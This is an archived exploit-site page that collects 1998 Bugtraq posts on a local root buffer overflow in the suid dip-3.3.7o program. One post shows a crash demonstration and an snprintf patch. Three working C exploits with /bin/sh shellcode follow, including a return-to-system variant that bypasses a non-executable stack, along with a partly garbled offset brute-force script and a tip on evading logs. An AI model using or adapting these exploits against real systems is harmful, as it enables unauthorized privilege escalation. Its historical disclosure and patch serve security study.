dip 3.3.7o overflow

Summary
Description:Standard overflow (in the -l option processing).
Author:Goran Gajic <ggajic@AFRODITA.RCUB.BG.AC.YU>
Compromise: root (local)
Vulnerable Systems:Slackware Linux 3.4, presumably any other system using dip-3.3.7o or earlier suid root.
Date:5 May 1998
Notes:I've included a couple standard exploits and one that works against systems utilizing Solar Designer's excellent non-executable-stack patch.
Details


Date: Tue, 5 May 1998 13:28:21 +0200
From: Goran Gajic <ggajic@AFRODITA.RCUB.BG.AC.YU>
To: BUGTRAQ@NETSPACE.ORG
Subject: dip-3.3.7o security hole

Hi,

There is potencial security hole in dip-3.3.7o which is installed
suid root in Slackware 3.4 distribution (if selected). Just try this:
~> dip -k -l `perl -e 'print "a" x 2000'`
and you will get something like:

DIP: cannot open /var/lock/LCK..aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaa:No such file or directory
Segmentation fault

If you look dip source, main.c, or do strace, you will find that problem
is with sprintf, line 192:

     sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);

Here is obvious patch:

--- main.c      Tue Feb 13 03:03:35 1996
+++ main.c      Mon May  4 23:36:49 1998
@@ -189,7 +189,7 @@
     return;
   }

-  sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
+  snprintf(buf, sizeof(buf), "%s/LCK..%s", _PATH_LOCKD, nam);

   fp = fopen(buf, "r");
   if (fp == (FILE *)0) {

Or chmod -s dip.

Goran Gajic
Date: Thu, 7 May 1998 20:06:47 +0000
From: jamez <jamez@UGROUND.ORG>
To: BUGTRAQ@NETSPACE.ORG
Subject: dip 3.3.7 exploit

Here an exploit for dip 3.3.7o buffer overflow.

----- cut here -----
/*
  dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
  coded by jamez. e-mail: jamez@uground.org

  thanks to all ppl from uground.

  usage:
     gcc -o dip-exp dip3.3.7o-exp.c
     ./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
*/


char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#define SIZE 130
/* cause it's a little buffer, i wont use NOP's */

char buffer[SIZE];


unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}


void main(int argc, char * argv[])
{
  int i = 0,
      offset = 0;
  long addr;


  if(argc > 1) offset = atoi(argv[1]);

  addr = get_esp() - offset - 0xcb;

  for(i = 0; i < strlen(shellcode); i++)
     buffer[i] = shellcode[i];

  for (; i < SIZE; i += 4)
  {
     buffer[i  ] =  addr & 0x000000ff;
     buffer[i+1] = (addr & 0x0000ff00) >> 8;
     buffer[i+2] = (addr & 0x00ff0000) >> 16;
     buffer[i+3] = (addr & 0xff000000) >> 24;
  }

  buffer[SIZE - 1] = 0;

  execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
}
----- cut here -----


--
jamez@uground.org
Date: Fri, 8 May 1998 01:14:21 +0000
From: zef <zef@PROMISC.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: dip-3.3.7o exploit

  The following code causes a buffer overrun in dip-3.3.7o that
comes with linux slakware version 3.4  and maybe others.

It can give you root permission if dip file is owned by root and
set-user-id bit is set.

  This problem was mentioned in this list some days ago by Goran Gajic,
and he has also posted some possible ways to correct it.

  The code is too messy... but it works.

Regards,

zef


------------------------------ dipr.c -----------------------------

/*
 * dip-3.3.7o buffer overrun                            07 May 1998
 *
 * sintax: ./dipr <offset>
 *
 *
 *   offset: try increments of 50 between 1500 and 3000
 *
 *   tested in linux with dip version 3.3.7o (slak 3.4).
 *
 *                by zef and r00t @promisc.net
 *
 *                   http://www.promisc.net
 */

#include <stdio.h>
#include <stdlib.h>

static inline getesp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int jump,i,n;
  unsigned long xaddr;
  char *cmd[5], buf[4096];


char code[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  jump=atoi(argv[1]);

  for (i=0;i<68;i++)
    buf[i]=0x41;

  for (n=0,i=68;i<113;i++)
    buf[i]=code[n++];

  xaddr=getesp()+jump;

  buf[i]=xaddr & 0xff;
  buf[i+1]=(xaddr >> 8) & 0xff;
  buf[i+2]=(xaddr >> 16) & 0xff;
  buf[i+3]=(xaddr >> 24) & 0xff;

  buf[i+4]=xaddr & 0xff;
  buf[i+5]=(xaddr >> 8) & 0xff;
  buf[i+6]=(xaddr >> 16) & 0xff;
  buf[i+6]=(xaddr >> 16) & 0xff;
  buf[i+7]=(xaddr >> 24) & 0xff;

  cmd[0]=malloc(17);
  strcpy(cmd[0],"/sbin/dip-3.3.7o");

  cmd[1]=malloc(3);
  strcpy(cmd[1],"-k");

  cmd[2]=malloc(3);
  strcpy(cmd[2],"-l");

  cmd[3]=buf;

  cmd[4]=NULL;

  execve(cmd[0],cmd,NULL);
}

------------------------------- end -------------------------------


Shell script for easy testing :-)


---------------------------- dipr.test ----------------------------

#/bin/bash
if [ ! -x /sbin/dip-3.3.7o ]
then
  echo "could not find file \"/sbin/dip-3.3.7o\"";
  exit -1
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
  echo "dip executable is not suid"
  exit -1
fi
if [ ! -x ./dipr ]
then
  echo "could not find file \"./dipr\"";
  echo "try compiling dipr.c"
  exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
  echo "dip executable is not suid"
  exit -1
fi
if [ ! -x ./dipr ]
then
  echo "could not find file \"./dipr\"";
  echo "try compiling dipr.c"
  exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
do
  echo offset=$x
  x=$[x+50]
  ./dipr $x
done
rm -f core

------------------------------- end -------------------------------
Date: Wed, 13 May 1998 00:17:35 +0200
From: Thomas Troeger <tstroege@CIP.INFORMATIK.UNI-ERLANGEN.DE>
To: BUGTRAQ@NETSPACE.ORG
Subject: Cooking with the right dip(-3.3.7o)

Hi,

After reading jamez's and zef's postings about dip and reviewing
its sourcecode, I recalled Rafal Wojtczuk (nergal)'s post about defeating
Solar Designer's non-executable stack. I asked myself "Hmmm, let's see if
we can get a shell out of it even on a system with installed stackpatch."

So I develpoed the following recipe:

First, setup your directory like this:

-----------------------------------------------------------
ln -s /bin/sh a
ln -s /bin/sh aa
ln -s /bin/sh aaa
ln -s /bin/sh aaaa
ln -s /bin/sh aaaaa
ln -s /bin/sh aaaaaa
ln -s /bin/sh aaaaaaa

ln -s /usr/sbin/dip vul
-----------------------------------------------------------

Get the dip-3.3.7o-uri package and uncompress it. Take main.c and edit
it the following (preferably with vi !! :) ) :

------------------ dip-3.3.7o/main.c line 194+ -----------------------------
    fp = fopen(buf, "r");
    if (fp == (FILE *)0) {
    fprintf(stderr, "DIP: cannot open %s: %s\n",
        buf, strerror(errno));
+   fprintf(stderr, "labels: %p %p\n", &system, nam);
        return;
    }
----------------------------------------------------------------------------

Of course you can juat use gdb and issue the "p system" command as well, that
avoids getting the package.

Now compile and run it, you get:

----------------------------------------------------------------------------
pigsnspace$ dip -k -l aaaa
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /usr/spool/uucp/LCK..aaaa: No such file or directory
labels: 0x80493e8 0xbffff6f0
----------------------------------------------------------------------------

Insert the first number you get into the following exploit:

--------------------------  baguette.c  --------------------------------
/*
 * Programm to get a shell from dip-3.3.7o-uri on a system with
 * Solar Designer's stackpatch installed.
 * by tstroege@cip.informatik.uni-erlangen.de
 * credits to jamez, zef and especially
 * Rafal Wojtczuk for his howto ;)
 *
 * Of course this is just for educational purposes :)
 */

#include <stdio.h>

#define SYSTEM  0x80493e8
/* address of system entry */
#define SOMESTACK       0xbffffea0
/* adress on stack where argv[1] should be. Usually somewhere on top */

int main(int argc, char *argv[]) {
        char *name[]={"./vul", "-k", "-l", NULL, NULL};
        char mem[1024], *ptr;
        int i, code[]={ SYSTEM, SOMESTACK, SOMESTACK, 0 }, off=atoi(argv[1]);

        for (ptr=mem, i=0; i < 1024; i+=8, ptr+=8) memcpy(ptr, "aaaaaaa;", 8);
        ptr=mem+off;
        strcpy(ptr, (char *)&(code[0]));
        mem[1023]=0;
        name[3]=(char *)mem;
        printf("%s (%d/%d)\n", mem, strlen(mem), off);
        execve(name[0], name, NULL);
        return 0;
}
----------------------------------------------------------------------
(SOMESTACK is someway above 0xbffff6f0, here it was 0xbffffea0)

Running this program should do. On my platform offset 113 did the job:

----------------------------------------------------------------------
pigsnspace$ gcc baguette.c -o exp
pigsnspace$ id
uid=1047(piggy) gid=100(users) groups=100(users)
pigsnspace$ ./exp 113
aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aè þ^?¿ þ^?¿ (125/113)
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aaaaaaa;aè þ^?¿ þ^?¿: No such file or directory
pigsnspace# id
uid=1047(piggy) gid=100(users) euid=0(root) groups=100(users)
----------------------------------------------------------------------

Well, so much to this. You should keep in mind that getting the right offset
value (the 113 somewhere above) and the address of SYSTEM and SOMESTACK can
be difficult. Most probably this program will not work at once (see more about
it in nergals article). Those values worked here, but you will have to
experiment.

After exiting the neat shells, you'll get a systerm log. So you should
maybe just kill them using kill ......

        tst.

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: